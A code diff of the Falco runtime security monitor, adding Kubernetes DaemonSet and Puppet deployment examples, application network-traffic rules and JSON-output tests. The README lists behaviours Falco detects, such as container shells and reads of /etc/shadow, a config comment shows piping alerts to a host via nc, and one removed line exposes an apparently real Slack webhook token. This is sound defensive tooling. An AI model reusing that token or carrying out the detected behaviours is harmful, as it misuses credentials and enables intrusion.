+  program: "jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/see_your_slack_team/apps_settings_for/a_webhook_url"
+```
+
+You will also need to enable JSON output. Find the `json_output: false` setting in the `falco.yaml` file and change it to read `json_output: true`. Any custom rules for your environment can be added to into the `falco_rules.local.yaml` file and they will be picked up by Falco at start time. You can now create the ConfigMap in Kubernetes. 
+
+```
+k8s-using-daemonset$ kubectl create configmap falco-config --from-file=k8s-with-rbac/falco-config
+configmap "falco-config" created
+k8s-using-daemonset$
+```
+
+Now that we have the requirements for our Daemon Set in place, we can create our Daemon Set.
+
+```
+k8s-using-daemonset$ kubectl create -f k8s-with-rbac/falco-daemonset-configmap.yaml 
+daemonset "falco" created
+k8s-using-daemonset$
+```
+
+
+## Deploying to Kubernetes without RBAC enabled
+
+If you are running Kubernetes with Legacy Authorization enabled, you can use `kubectl` to deploy the Daemon Set provided in the `k8s-without-rbac` directory. The example provides the ability to post messages to a Slack channel via a webhook. For more information on getting a webhook URL for your Slack team, refer to the [Slack documentation](https://api.slack.com/incoming-webhooks). Modify the [`args`](https://github.com/draios/falco/blob/dev/examples/k8s-using-daemonset/falco-daemonset.yaml#L21) passed to the Falco container to point to the appropriate URL for your webhook.
+
+```
+k8s-using-daemonset$ kubectl create -f k8s-without-rbac/falco-daemonset.yaml
+```
+
+
+## Verifying the installation
+
+In order to test that Falco is working correctly, you can launch a shell in a Pod. You should see a message in your Slack channel (if configured), or in the logs of the Falco pod.
+
+```
+k8s-using-daemonset$ kubectl get pods
+NAME          READY     STATUS    RESTARTS   AGE
+falco-74htl   1/1       Running   0          13h
+falco-fqz2m   1/1       Running   0          13h
+falco-sgjfx   1/1       Running   0          13h
+k8s-using-daemonset$ kubectl exec -it falco-74htl bash
+root@falco-74htl:/# exit
+k8s-using-daemonset$ kubectl logs falco-74htl
+{"output":"17:48:58.590038385: Notice A shell was spawned in a container with an attached terminal (user=root k8s.pod=falco-74htl container=a98c2aa8e670 shell=bash parent=<NA> cmdline=bash  terminal=34816)","priority":"Notice","rule":"Terminal shell in container","time":"2017-12-20T17:48:58.590038385Z", "output_fields": {"container.id":"a98c2aa8e670","evt.time":1513792138590038385,"k8s.pod.name":"falco-74htl","proc.cmdline":"bash ","proc.name":"bash","proc.pname":null,"proc.tty":34816,"user.name":"root"}}
+k8s-using-daemonset$
+``` 
+
+Alternatively, you can deploy the [Falco Event Generator](https://github.com/draios/falco/wiki/Generating-Sample-Events) deployement to have events automatically generated. Please note that this Deployment will generate a large number of events. 
+
+```
+k8s-using-daemonset$ kubectl create -f falco-event-generator-deployment.yaml \
+&& sleep 1 \
+&& kubectl delete -f falco-event-generator-deployment.yaml
+deployment "falco-event-generator-deployment" created
+deployment "falco-event-generator-deployment" deleted
+k8s-using-daemonset$ 
+```

examples/k8s-using-daemonset/k8s-with-rbac/falco-account.yaml

@@ -0,0 +1,29 @@
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: falco-account
+---
+kind: ClusterRole
+apiVersion: rbac.authorization.k8s.io/v1beta1
+metadata:
+  name: falco-cluster-role
+rules:
+  - apiGroups: ["extensions",""]
+    resources: ["nodes","namespaces","pods","replicationcontrollers","services","events","configmaps"]
+    verbs: ["get","list","watch"]
+  - nonResourceURLs: ["/healthz", "/healthz/*"]
+    verbs: ["get"]
+---
+kind: ClusterRoleBinding
+apiVersion: rbac.authorization.k8s.io/v1beta1
+metadata:
+  name: falco-cluster-role-binding
+  namespace: default
+subjects:
+  - kind: ServiceAccount
+    name: falco-account
+    namespace: default
+roleRef:
+  kind: ClusterRole
+  name: falco-cluster-role
+  apiGroup: rbac.authorization.k8s.io

examples/k8s-using-daemonset/k8s-with-rbac/falco-daemonset-configmap.yaml

@@ -0,0 +1,63 @@
+apiVersion: extensions/v1beta1
+kind: DaemonSet
+metadata:
+  name: falco
+  labels:
+    name: falco-daemonset
+    app: demo
+spec:
+  template:
+    metadata:
+      labels:
+        name: falco
+        app: demo
+        role: security
+    spec:
+      serviceAccount: falco-account
+      containers:
+        - name: falco
+          image: sysdig/falco:latest
+          securityContext:
+            privileged: true
+          args: [ "/usr/bin/falco", "-K", "/var/run/secrets/kubernetes.io/serviceaccount/token", "-k", "https://kubernetes.default", "-pk"]
+          volumeMounts:
+            - mountPath: /host/var/run/docker.sock
+              name: docker-socket
+            - mountPath: /host/dev
+              name: dev-fs
+            - mountPath: /host/proc
+              name: proc-fs
+              readOnly: true
+            - mountPath: /host/boot
+              name: boot-fs
+              readOnly: true
+            - mountPath: /host/lib/modules
+              name: lib-modules
+              readOnly: true
+            - mountPath: /host/usr
+              name: usr-fs
+              readOnly: true
+            - mountPath: /etc/falco
+              name: falco-config
+      volumes:
+        - name: docker-socket
+          hostPath:
+            path: /var/run/docker.sock
+        - name: dev-fs
+          hostPath:
+            path: /dev
+        - name: proc-fs
+          hostPath:
+            path: /proc
+        - name: boot-fs
+          hostPath:
+            path: /boot
+        - name: lib-modules
+          hostPath:
+            path: /lib/modules
+        - name: usr-fs
+          hostPath:
+            path: /usr
+        - name: falco-config
+          configMap:
+            name: falco-config

examples/k8s-using-daemonset/k8s-without-rbac/falco-daemonset.yaml

@@ -18,14 +18,12 @@ spec:
           image: sysdig/falco:latest
           securityContext:
             privileged: true
-          args: [ "/usr/bin/falco", "-K", "/var/run/secrets/kubernetes.io/serviceaccount/token", "-k", "https://kubernetes", "-pk", "-o", "json_output=true", "-o", "program_output.enabled=true", "-o",  "program_output.program=jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/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"]
+          args: [ "/usr/bin/falco", "-K", "/var/run/secrets/kubernetes.io/serviceaccount/token", "-k", "https://kubernetes.default", "-pk", "-o", "json_output=true", "-o", "program_output.enabled=true", "-o",  "program_output.program=jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/see_your_slack_team/apps_settings_for/a_webhook_url"]
           volumeMounts:
             - mountPath: /host/var/run/docker.sock
               name: docker-socket
-              readOnly: true
             - mountPath: /host/dev
               name: dev-fs
-              readOnly: true
             - mountPath: /host/proc
               name: proc-fs
               readOnly: true

examples/nodejs-bad-rest-api/demo.yml

@@ -1,9 +1,7 @@
-# Owned by software vendor, serving install-software.sh.
 express_server:
   container_name: express_server
   image: node:latest
-  working_dir: /usr/src/app
-  command: bash -c "npm install && node server.js"
+  command: bash -c "apt-get -y update && apt-get -y install runit && npm install && runsv /usr/src/app"
   ports:
     - "8181:8181"
   volumes:

examples/nodejs-bad-rest-api/run

@@ -0,0 +1,2 @@
+#!/bin/sh
+node server.js

examples/puppet-module/README.md

@@ -0,0 +1,3 @@
+# Example Puppet Falco Module
+
+This contains an example [Puppet](https://puppet.com/) module for Falco.

examples/puppet-module/sysdig-falco/Gemfile

@@ -0,0 +1,7 @@
+source 'https://rubygems.org'
+
+puppetversion = ENV.key?('PUPPET_VERSION') ? "= #{ENV['PUPPET_VERSION']}" : ['>= 3.3']
+gem 'puppet', puppetversion
+gem 'puppetlabs_spec_helper', '>= 0.1.0'
+gem 'puppet-lint', '>= 0.3.2'
+gem 'facter', '>= 1.7.0'

examples/puppet-module/sysdig-falco/README.md

@@ -0,0 +1,241 @@
+# falco
+
+#### Table of Contents
+
+1. [Overview](#overview)
+2. [Module Description - What the module does and why it is useful](#module-description)
+3. [Setup - The basics of getting started with falco](#setup)
+    * [What falco affects](#what-falco-affects)
+    * [Beginning with falco](#beginning-with-falco)
+4. [Usage - Configuration options and additional functionality](#usage)
+5. [Reference - An under-the-hood peek at what the module is doing and how](#reference)
+5. [Limitations - OS compatibility, etc.](#limitations)
+6. [Development - Guide for contributing to the module](#development)
+
+## Overview
+
+Sysdig Falco is a behavioral activity monitor designed to detect anomalous activity in your applications. Powered by sysdig’s system call capture infrastructure, falco lets you continuously monitor and detect container, application, host, and network activity... all in one place, from one source of data, with one set of rules.
+
+#### What kind of behaviors can Falco detect?
+
+Falco can detect and alert on any behavior that involves making Linux system calls. Thanks to Sysdig's core decoding and state tracking functionality, falco alerts can be triggered by the use of specific system calls, their arguments, and by properties of the calling process. For example, you can easily detect things like:
+
+- A shell is run inside a container
+- A container is running in privileged mode, or is mounting a sensitive path like `/proc` from the host.
+- A server process spawns a child process of an unexpected type
+- Unexpected read of a sensitive file (like `/etc/shadow`)
+- A non-device file is written to `/dev`
+- A standard system binary (like `ls`) makes an outbound network connection
+
+## Module Description
+
+This module configures falco as a systemd service. You configure falco
+to send its notifications to one or more output channels (syslog,
+files, programs).
+
+## Setup
+
+### What falco affects
+
+This module affects the following:
+
+* The main falco configuration file `/etc/falco/falco.yaml`, including
+** Output format (JSON vs plain text)
+** Log level
+** Rule priority level to run
+** Output buffering
+** Output throttling
+** Output channels (syslog, file, program)
+
+### Beginning with falco
+
+To have Puppet install falco with the default parameters, declare the falco class:
+
+``` puppet
+class { 'falco': }
+```
+
+When you declare this class with the default options, the module:
+
+* Installs the appropriate falco software package and installs the falco-probe kernel module for your operating system.
+* Creates the required configuration file `/etc/falco/falco.yaml`. By default only syslog output is enabled.
+* Starts the falco service.
+
+## Usage
+
+### Enabling file output
+
+To enable file output, set the `file_output` hash, as follows:
+
+``` puppet
+class { 'falco':
+  file_output => {
+    'enabled' => 'true',
+    'keep_alive' => 'false',
+	'filename' => '/tmp/falco-events.txt'
+  },
+}
+```
+
+### Enabling program output
+
+To enable program output, set the `program_output` hash and optionally the `json_output` parameters, as follows:
+
+``` puppet
+class { 'falco':
+  json_output => 'true',
+  program_output => {
+    'enabled' => 'true',
+    'keep_alive' => 'false',
+	'program' => 'curl http://some-webhook.com'
+  },
+}
+```
+
+## Reference
+
+* [**Public classes**](#public-classes)
+    * [Class: falco](#class-falco)
+
+### Public Classes
+
+#### Class: `falco`
+
+Guides the basic setup and installation of falco on your system.
+
+When this class is declared with the default options, Puppet:
+
+* Installs the appropriate falco software package and installs the falco-probe kernel module for your operating system.
+* Creates the required configuration file `/etc/falco/falco.yaml`. By default only syslog output is enabled.
+* Starts the falco service.
+
+You can simply declare the default `falco` class:
+
+``` puppet
+class { 'falco': }
+```
+
+###### `rules_file`
+
+An array of files for falco to load. Order matters--the first file listed will be loaded first.
+
+Default: `['/etc/falco/falco_rules.yaml', '/etc/falco/falco_rules.local.yaml']`
+
+##### `json_output`
+
+Whether to output events in json or text.
+
+Default: `false`
+
+##### `log_stderr`
+
+Send falco's logs to stderr. Note: this is not notifications, this is
+logs from the falco daemon itself.
+
+Default: `false`
+
+##### `log_syslog`
+
+Send falco's logs to syslog. Note: this is not notifications, this is
+logs from the falco daemon itself.
+
+Default: `true`
+
+##### `log_level`
+
+Minimum log level to include in logs. Note: these levels are
+separate from the priority field of rules. This refers only to the
+log level of falco's internal logging. Can be one of "emergency",
+"alert", "critical", "error", "warning", "notice", "info", "debug".
+
+Default: `info`
+
+##### `priority`
+
+Minimum rule priority level to load and run. All rules having a
+priority more severe than this level will be loaded/run.  Can be one
+of "emergency", "alert", "critical", "error", "warning", "notice",
+"info", "debug".
+
+Default: `debug`
+
+##### `buffered_outputs`
+
+Whether or not output to any of the output channels below is
+buffered.
+
+Default: `true`
+
+##### `outputs_rate`/`outputs_max_burst`
+
+A throttling mechanism implemented as a token bucket limits the
+rate of falco notifications. This throttling is controlled by the following configuration
+options:
+
+* `outputs_rate`: the number of tokens (i.e. right to send a notification)
+   gained per second. Defaults to 1.
+* `outputs_max_burst`: the maximum number of tokens outstanding. Defaults to 1000.
+
+##### `syslog_output
+
+Controls syslog output for notifications. Value: a hash, containing the following:
+
+* `enabled`: `true` or `false`. Default: `true`.
+
+Example:
+
+``` puppet
+class { 'falco':
+  syslog_output => {
+    'enabled' => 'true',
+  },
+}
+```
+
+##### `file_output`
+
+Controls file output for notifications. Value: a hash, containing the following:
+
+* `enabled`: `true` or `false`. Default: `false`.
+* `keep_alive`: If keep_alive is set to true, the file will be opened once and continuously written to, with each output message on its own line. If keep_alive is set to false, the file will be re-opened for each output message. Default: `false`.
+* `filename`: Notifications will be written to this file.
+
+Example:
+
+``` puppet
+class { 'falco':
+  file_output => {
+    'enabled' => 'true',
+    'keep_alive' => 'false',
+	'filename' => '/tmp/falco-events.txt'
+  },
+}
+```
+
+##### `program_output
+
+Controls program output for notifications. Value: a hash, containing the following:
+
+* `enabled`: `true` or `false`. Default: `false`.
+* `keep_alive`: If keep_alive is set to true, the file will be opened once and continuously written to, with each output message on its own line. If keep_alive is set to false, the file will be re-opened for each output message. Default: `false`.
+* `program`: Notifications will be written to this program.
+
+Example:
+
+``` puppet
+class { 'falco':
+  program_output => {
+    'enabled' => 'true',
+    'keep_alive' => 'false',
+	'program' => 'curl http://some-webhook.com'
+  },
+}
+```
+
+## Limitations
+
+The module works where falco works as a daemonized service (generally, Linux only).
+
+## Development
+
+For more information on Sysdig Falco, visit our [github](https://github.com/draios/falco) or [web site](https://sysdig.com/opensource/falco/).

examples/puppet-module/sysdig-falco/Rakefile

@@ -0,0 +1,18 @@
+require 'rubygems'
+require 'puppetlabs_spec_helper/rake_tasks'
+require 'puppet-lint/tasks/puppet-lint'
+PuppetLint.configuration.send('disable_80chars')
+PuppetLint.configuration.ignore_paths = ["spec/**/*.pp", "pkg/**/*.pp"]
+
+desc "Validate manifests, templates, and ruby files"
+task :validate do
+  Dir['manifests/**/*.pp'].each do |manifest|
+    sh "puppet parser validate --noop #{manifest}"
+  end
+  Dir['spec/**/*.rb','lib/**/*.rb'].each do |ruby_file|
+    sh "ruby -c #{ruby_file}" unless ruby_file =~ /spec\/fixtures/
+  end
+  Dir['templates/**/*.erb'].each do |template|
+    sh "erb -P -x -T '-' #{template} | ruby -c"
+  end
+end

examples/puppet-module/sysdig-falco/manifests/config.pp

@@ -0,0 +1,13 @@
+# == Class: falco::config
+class falco::config inherits falco {
+
+  file { '/etc/falco/falco.yaml':
+    notify  => Service['falco'],
+    ensure  => file,
+    owner   => 'root',
+    group   => 'root',
+    mode    => '0644',
+    content => template('falco/falco.yaml.erb'),
+  }
+
+}

examples/puppet-module/sysdig-falco/manifests/init.pp

@@ -0,0 +1,31 @@
+class falco (
+          $rules_file = [
+              '/etc/falco/falco_rules.yaml',
+              '/etc/falco/falco_rules.local.yaml'
+          ],
+          $json_output = 'false',
+          $log_stderr = 'false',
+          $log_syslog = 'true',
+          $log_level = 'info',
+          $priority = 'debug',
+          $buffered_outputs = 'true',
+          $outputs_rate = 1,
+          $outputs_max_burst = 1000,
+          $syslog_output = {
+              'enabled' => 'true'
+          },
+          $file_output = {
+              'enabled' => 'false',
+              'keep_alive' => 'false',
+              'filename' => '/tmp/falco_events.txt'
+          },
+          $program_output = {
+              'enabled' => 'false',
+              'keep_alive' => 'false',
+              'program' => 'curl http://some-webhook.com'
+          },
+      ) {
+  include falco::install
+  include falco::config
+  include falco::service
+}

examples/puppet-module/sysdig-falco/manifests/install.pp

@@ -0,0 +1,6 @@
+# == Class: falco::install
+class falco::install inherits falco {
+  package { 'falco':
+      ensure => installed,
+  }
+}

examples/puppet-module/sysdig-falco/manifests/service.pp

@@ -0,0 +1,11 @@
+# == Class: falco::service
+class falco::service inherits falco {
+
+  service { 'falco':
+    ensure     => running,
+    enable     => true,
+    hasstatus  => true,
+    hasrestart => true,
+    require => Package['falco'],
+  }
+}

examples/puppet-module/sysdig-falco/metadata.json

@@ -0,0 +1,14 @@
+{
+  "name": "sysdig-falco",
+  "version": "0.1.0",
+  "author": "sysdig",
+  "summary": "Sysdig Falco: Behavioral Activity Monitoring With Container Support",
+  "license": "GPLv2",
+  "source": "https://github.com/draios/falco",
+  "project_page": "https://github.com/draios/falco",
+  "issues_url": "https://github.com/draios/falco/issues",
+  "dependencies": [
+    {"name":"puppetlabs-stdlib","version_requirement":">= 1.0.0"}
+  ]
+}
+

examples/puppet-module/sysdig-falco/spec/classes/init_spec.rb

@@ -0,0 +1,7 @@
+require 'spec_helper'
+describe 'falco' do
+
+  context 'with defaults for all parameters' do
+    it { should contain_class('falco') }
+  end
+end

examples/puppet-module/sysdig-falco/spec/spec_helper.rb

@@ -0,0 +1 @@
+require 'puppetlabs_spec_helper/module_spec_helper'

examples/puppet-module/sysdig-falco/templates/falco.yaml.erb

@@ -0,0 +1,96 @@
+####
+# THIS FILE MANAGED BY PUPPET. DO NOT MODIFY
+####
+
+# File(s) containing Falco rules, loaded at startup.
+#
+# falco_rules.yaml ships with the falco package and is overridden with
+# every new software version. falco_rules.local.yaml is only created
+# if it doesn't exist. If you want to customize the set of rules, add
+# your customizations to falco_rules.local.yaml.
+#
+# The files will be read in the order presented here, so make sure if
+# you have overrides they appear in later files.
+rules_file:
+<% Array(@rules_file).each do |file| -%>
+ - <%= file %>
+<% end -%>
+
+# Whether to output events in json or text
+json_output: <%= @json_output %>
+
+# Send information logs to stderr and/or syslog Note these are *not* security
+# notification logs! These are just Falco lifecycle (and possibly error) logs.
+log_stderr: <%= @log_stderr %>
+log_syslog: <%= @log_syslog %>
+
+# Minimum log level to include in logs. Note: these levels are
+# separate from the priority field of rules. This refers only to the
+# log level of falco's internal logging. Can be one of "emergency",
+# "alert", "critical", "error", "warning", "notice", "info", "debug".
+log_level: <%= @log_level %>
+
+# Minimum rule priority level to load and run. All rules having a
+# priority more severe than this level will be loaded/run.  Can be one
+# of "emergency", "alert", "critical", "error", "warning", "notice",
+# "info", "debug".
+priority: <%= @priority %>
+
+# Whether or not output to any of the output channels below is
+# buffered. Defaults to true
+buffered_outputs: <%= @buffered_outputs %>
+
+# A throttling mechanism implemented as a token bucket limits the
+# rate of falco notifications. This throttling is controlled by the following configuration
+# options:
+#  - rate: the number of tokens (i.e. right to send a notification)
+#    gained per second. Defaults to 1.
+#  - max_burst: the maximum number of tokens outstanding. Defaults to 1000.
+#
+# With these defaults, falco could send up to 1000 notifications after
+# an initial quiet period, and then up to 1 notification per second
+# afterward. It would gain the full burst back after 1000 seconds of
+# no activity.
+
+outputs:
+  rate: <%= @outputs_rate %>
+  max_burst: <%= @outputs_max_burst %>
+
+# Where security notifications should go.
+# Multiple outputs can be enabled.
+<% unless @syslog_output.nil? -%>
+syslog_output:
+  enabled: <%= @syslog_output['enabled'] %>
+<% end -%>
+
+# If keep_alive is set to true, the file will be opened once and
+# continuously written to, with each output message on its own
+# line. If keep_alive is set to false, the file will be re-opened
+# for each output message.
+<% unless @file_output.nil? -%>
+file_output:
+  enabled: <%= @file_output['enabled'] %>
+  keep_alive: <%= @file_output['keep_alive'] %>
+  filename: <%= @file_output['filename'] %>
+<% end -%>
+
+# Possible additional things you might want to do with program output:
+#   - send to a slack webhook:
+#         program: "jq '{text: .output}' | curl -d @- -X POST https://hooks.slack.com/services/XXX"
+#   - logging (alternate method than syslog):
+#         program: logger -t falco-test
+#   - send over a network connection:
+#         program: nc host.example.com 80
+
+# If keep_alive is set to true, the program will be started once and
+# continuously written to, with each output message on its own
+# line. If keep_alive is set to false, the program will be re-spawned
+# for each output message.
+
+<% unless @program_output.nil? -%>
+program_output:
+  enabled: <%= @program_output['enabled'] %>
+  keep_alive: <%= @program_output['keep_alive'] %>
+  program: <%= @program_output['program'] %>
+<% end -%>
+

examples/puppet-module/sysdig-falco/tests/init.pp

@@ -0,0 +1,12 @@
+# The baseline for module testing used by Puppet Labs is that each manifest
+# should have a corresponding test manifest that declares that class or defined
+# type.
+#
+# Tests are then run by using puppet apply --noop (to check for compilation
+# errors and view a log of events) or by fully applying the test in a virtual
+# environment (to compare the resulting system state to the desired state).
+#
+# Learn more about module testing here:
+# http://docs.puppetlabs.com/guides/tests_smoke.html
+#
+include falco

falco.yaml

@@ -14,6 +14,11 @@ rules_file:
 # Whether to output events in json or text
 json_output: false
 
+# When using json output, whether or not to include the "output" property
+# itself (e.g. "File below a known binary directory opened for writing
+# (user=root ....") in the json output.
+json_include_output_property: true
+
 # Send information logs to stderr and/or syslog Note these are *not* security
 # notification logs! These are just Falco lifecycle (and possibly error) logs.
 log_stderr: true

rules/CMakeLists.txt

@@ -5,6 +5,7 @@ endif()
 if(NOT DEFINED FALCO_RULES_DEST_FILENAME)
   set(FALCO_RULES_DEST_FILENAME "falco_rules.yaml")
   set(FALCO_LOCAL_RULES_DEST_FILENAME "falco_rules.local.yaml")
+  set(FALCO_APP_RULES_DEST_FILENAME "application_rules.yaml")
 endif()
 
 if(DEFINED FALCO_COMPONENT)
@@ -17,6 +18,9 @@ install(FILES falco_rules.local.yaml
         COMPONENT "${FALCO_COMPONENT}"
 	DESTINATION "${FALCO_ETC_DIR}"
 	RENAME "${FALCO_LOCAL_RULES_DEST_FILENAME}")
+
+# Intentionally *not* installing application_rules.yaml. Not needed
+# when falco is embedded in other projects.
 else()
 install(FILES falco_rules.yaml
 	DESTINATION "${FALCO_ETC_DIR}"
@@ -25,5 +29,9 @@ install(FILES falco_rules.yaml
 install(FILES falco_rules.local.yaml
 	DESTINATION "${FALCO_ETC_DIR}"
 	RENAME "${FALCO_LOCAL_RULES_DEST_FILENAME}")
+
+install(FILES application_rules.yaml
+	DESTINATION "${FALCO_ETC_DIR}"
+	RENAME "${FALCO_APP_RULES_DEST_FILENAME}")
 endif()
 

rules/application_rules.yaml

@@ -0,0 +1,169 @@
+################################################################
+# By default all application-related rules are disabled for
+# performance reasons. Depending on the application(s) you use,
+# uncomment the corresponding rule definitions for
+# application-specific activity monitoring.
+################################################################
+
+# Elasticsearch ports
+- macro: elasticsearch_cluster_port
+  condition: fd.sport=9300
+- macro: elasticsearch_api_port
+  condition: fd.sport=9200
+- macro: elasticsearch_port
+  condition: elasticsearch_cluster_port or elasticsearch_api_port
+
+# - rule: Elasticsearch unexpected network inbound traffic
+#   desc: inbound network traffic to elasticsearch on a port other than the standard ports
+#   condition: user.name = elasticsearch and inbound and not elasticsearch_port
+#   output: "Inbound network traffic to Elasticsearch on unexpected port (connection=%fd.name)"
+#   priority: WARNING
+
+# - rule: Elasticsearch unexpected network outbound traffic
+#   desc: outbound network traffic from elasticsearch on a port other than the standard ports
+#   condition: user.name = elasticsearch and outbound and not elasticsearch_cluster_port
+#   output: "Outbound network traffic from Elasticsearch on unexpected port (connection=%fd.name)"
+#   priority: WARNING
+
+
+# ActiveMQ ports
+- macro: activemq_cluster_port
+  condition: fd.sport=61616
+- macro: activemq_web_port
+  condition: fd.sport=8161
+- macro: activemq_port
+  condition: activemq_web_port or activemq_cluster_port
+
+# - rule: Activemq unexpected network inbound traffic
+#   desc: inbound network traffic to activemq on a port other than the standard ports
+#   condition: user.name = activemq and inbound and not activemq_port
+#   output: "Inbound network traffic to ActiveMQ on unexpected port (connection=%fd.name)"
+#   priority: WARNING
+
+# - rule: Activemq unexpected network outbound traffic
+#   desc: outbound network traffic from activemq on a port other than the standard ports
+#   condition: user.name = activemq and outbound and not activemq_cluster_port
+#   output: "Outbound network traffic from ActiveMQ on unexpected port (connection=%fd.name)"
+#   priority: WARNING
+
+
+# Cassandra ports
+# https://docs.datastax.com/en/cassandra/2.0/cassandra/security/secureFireWall_r.html
+- macro: cassandra_thrift_client_port
+  condition: fd.sport=9160
+- macro: cassandra_cql_port
+  condition: fd.sport=9042
+- macro: cassandra_cluster_port
+  condition: fd.sport=7000
+- macro: cassandra_ssl_cluster_port
+  condition: fd.sport=7001
+- macro: cassandra_jmx_port
+  condition: fd.sport=7199
+- macro: cassandra_port
+  condition: >
+    cassandra_thrift_client_port or
+    cassandra_cql_port or cassandra_cluster_port or
+    cassandra_ssl_cluster_port or cassandra_jmx_port
+
+# - rule: Cassandra unexpected network inbound traffic
+#   desc: inbound network traffic to cassandra on a port other than the standard ports
+#   condition: user.name = cassandra and inbound and not cassandra_port
+#   output: "Inbound network traffic to Cassandra on unexpected port (connection=%fd.name)"
+#   priority: WARNING
+
+# - rule: Cassandra unexpected network outbound traffic
+#   desc: outbound network traffic from cassandra on a port other than the standard ports
+#   condition: user.name = cassandra and outbound and not (cassandra_ssl_cluster_port or cassandra_cluster_port)
+#   output: "Outbound network traffic from Cassandra on unexpected port (connection=%fd.name)"
+#   priority: WARNING
+
+# Couchdb ports
+# https://github.com/davisp/couchdb/blob/master/etc/couchdb/local.ini
+- macro: couchdb_httpd_port
+  condition: fd.sport=5984
+- macro: couchdb_httpd_ssl_port
+  condition: fd.sport=6984
+# xxx can't tell what clustering ports are used. not writing rules for this
+# yet.
+
+# Fluentd ports
+- macro: fluentd_http_port
+  condition: fd.sport=9880
+- macro: fluentd_forward_port
+  condition: fd.sport=24224
+
+# - rule: Fluentd unexpected network inbound traffic
+#   desc: inbound network traffic to fluentd on a port other than the standard ports
+#   condition: user.name = td-agent and inbound and not (fluentd_forward_port or fluentd_http_port)
+#   output: "Inbound network traffic to Fluentd on unexpected port (connection=%fd.name)"
+#   priority: WARNING
+
+# - rule: Tdagent unexpected network outbound traffic
+#   desc: outbound network traffic from fluentd on a port other than the standard ports
+#   condition: user.name = td-agent and outbound and not fluentd_forward_port
+#   output: "Outbound network traffic from Fluentd on unexpected port (connection=%fd.name)"
+#   priority: WARNING
+
+# Gearman ports
+# http://gearman.org/protocol/
+# - rule: Gearman unexpected network outbound traffic
+#   desc: outbound network traffic from gearman on a port other than the standard ports
+#   condition: user.name = gearman and outbound and outbound and not fd.sport = 4730
+#   output: "Outbound network traffic from Gearman on unexpected port (connection=%fd.name)"
+#   priority: WARNING
+
+# Zookeeper
+- macro: zookeeper_port
+  condition: fd.sport = 2181
+
+# Kafka ports
+# - rule: Kafka unexpected network inbound traffic
+#   desc: inbound network traffic to kafka on a port other than the standard ports
+#   condition: user.name = kafka and inbound and fd.sport != 9092
+#   output: "Inbound network traffic to Kafka on unexpected port (connection=%fd.name)"
+#   priority: WARNING
+
+# Memcached ports
+# - rule: Memcached unexpected network inbound traffic
+#   desc: inbound network traffic to memcached on a port other than the standard ports
+#   condition: user.name = memcached and inbound and fd.sport != 11211
+#   output: "Inbound network traffic to Memcached on unexpected port (connection=%fd.name)"
+#   priority: WARNING
+
+# - rule: Memcached unexpected network outbound traffic
+#   desc: any outbound network traffic from memcached. memcached never initiates outbound connections.
+#   condition: user.name = memcached and outbound
+#   output: "Unexpected Memcached outbound connection (connection=%fd.name)"
+#   priority: WARNING
+
+
+# MongoDB ports
+- macro: mongodb_server_port
+  condition: fd.sport = 27017
+- macro: mongodb_shardserver_port
+  condition: fd.sport = 27018
+- macro: mongodb_configserver_port
+  condition: fd.sport = 27019
+- macro: mongodb_webserver_port
+  condition: fd.sport = 28017
+
+# - rule: Mongodb unexpected network inbound traffic
+#   desc: inbound network traffic to mongodb on a port other than the standard ports
+#   condition: >
+#     user.name = mongodb and inbound and not (mongodb_server_port or
+#     mongodb_shardserver_port or mongodb_configserver_port or mongodb_webserver_port)
+#   output: "Inbound network traffic to MongoDB on unexpected port (connection=%fd.name)"
+#   priority: WARNING
+
+# MySQL ports
+# - rule: Mysql unexpected network inbound traffic
+#   desc: inbound network traffic to mysql on a port other than the standard ports
+#   condition: user.name = mysql and inbound and fd.sport != 3306
+#   output: "Inbound network traffic to MySQL on unexpected port (connection=%fd.name)"
+#   priority: WARNING
+
+# - rule: HTTP server unexpected network inbound traffic
+#   desc: inbound network traffic to a http server program on a port other than the standard ports
+#   condition: proc.name in (http_server_binaries) and inbound and fd.sport != 80 and fd.sport != 443
+#   output: "Inbound network traffic to HTTP Server on unexpected port (connection=%fd.name)"
+#   priority: WARNING

test/falco_test.py

@@ -30,6 +30,7 @@ class FalcoTest(Test):
             self.trace_file = os.path.join(self.basedir, self.trace_file)
 
         self.json_output = self.params.get('json_output', '*', default=False)
+        self.json_include_output_property = self.params.get('json_include_output_property', '*', default=True)
         self.priority = self.params.get('priority', '*', default='debug')
         self.rules_file = self.params.get('rules_file', '*', default=os.path.join(self.basedir, '../rules/falco_rules.yaml'))
 
@@ -249,7 +250,11 @@ class FalcoTest(Test):
             for line in res.stdout.splitlines():
                 if line.startswith('{'):
                     obj = json.loads(line)
-                    for attr in ['time', 'rule', 'priority', 'output']:
+                    if self.json_include_output_property:
+                        attrs = ['time', 'rule', 'priority', 'output']
+                    else:
+                        attrs = ['time', 'rule', 'priority']
+                    for attr in attrs:
                         if not attr in obj:
                             self.fail("Falco JSON object {} does not contain property \"{}\"".format(line, attr))
 
@@ -348,8 +353,8 @@ class FalcoTest(Test):
             trace_arg = "-e {}".format(self.trace_file)
 
         # Run falco
-        cmd = '{} {} {} -c {} {} -o json_output={} -o priority={} -v'.format(
-            self.falco_binary_path, self.rules_args, self.disabled_args, self.conf_file, trace_arg, self.json_output, self.priority)
+        cmd = '{} {} {} -c {} {} -o json_output={} -o json_include_output_property={} -o priority={} -v'.format(
+            self.falco_binary_path, self.rules_args, self.disabled_args, self.conf_file, trace_arg, self.json_output, self.json_include_output_property, self.priority)
 
         for tag in self.disable_tags:
             cmd += ' -T {}'.format(tag)

test/falco_tests.yaml

@@ -319,7 +319,7 @@ trace_files: !mux
     detect_counts:
       - "Write below binary dir": 1
       - "Read sensitive file untrusted": 3
-      - "Run shell in container": 1
+      - "Run shell untrusted": 1
       - "Write below rpm database": 1
       - "Write below etc": 1
       - "System procs network activity": 1
@@ -655,3 +655,19 @@ trace_files: !mux
       - rules/rule_append_false.yaml
     trace_file: trace_files/cat_write.scap
 
+  json_output_no_output_property:
+    json_output: True
+    json_include_output_property: False
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/rule_append.yaml
+    trace_file: trace_files/cat_write.scap
+    stdout_contains: "^(?!.*Warning An open of /dev/null was seen.*)"
+
+  in_operator_netmasks:
+    detect: True
+    detect_level: INFO
+    rules_file:
+      - rules/detect_connect_using_in.yaml
+    trace_file: trace_files/connect_localhost.scap

test/falco_traces.yaml.in

@@ -43,11 +43,11 @@ traces: !mux
   falco-event-generator:
     trace_file: traces-positive/falco-event-generator.scap
     detect: True
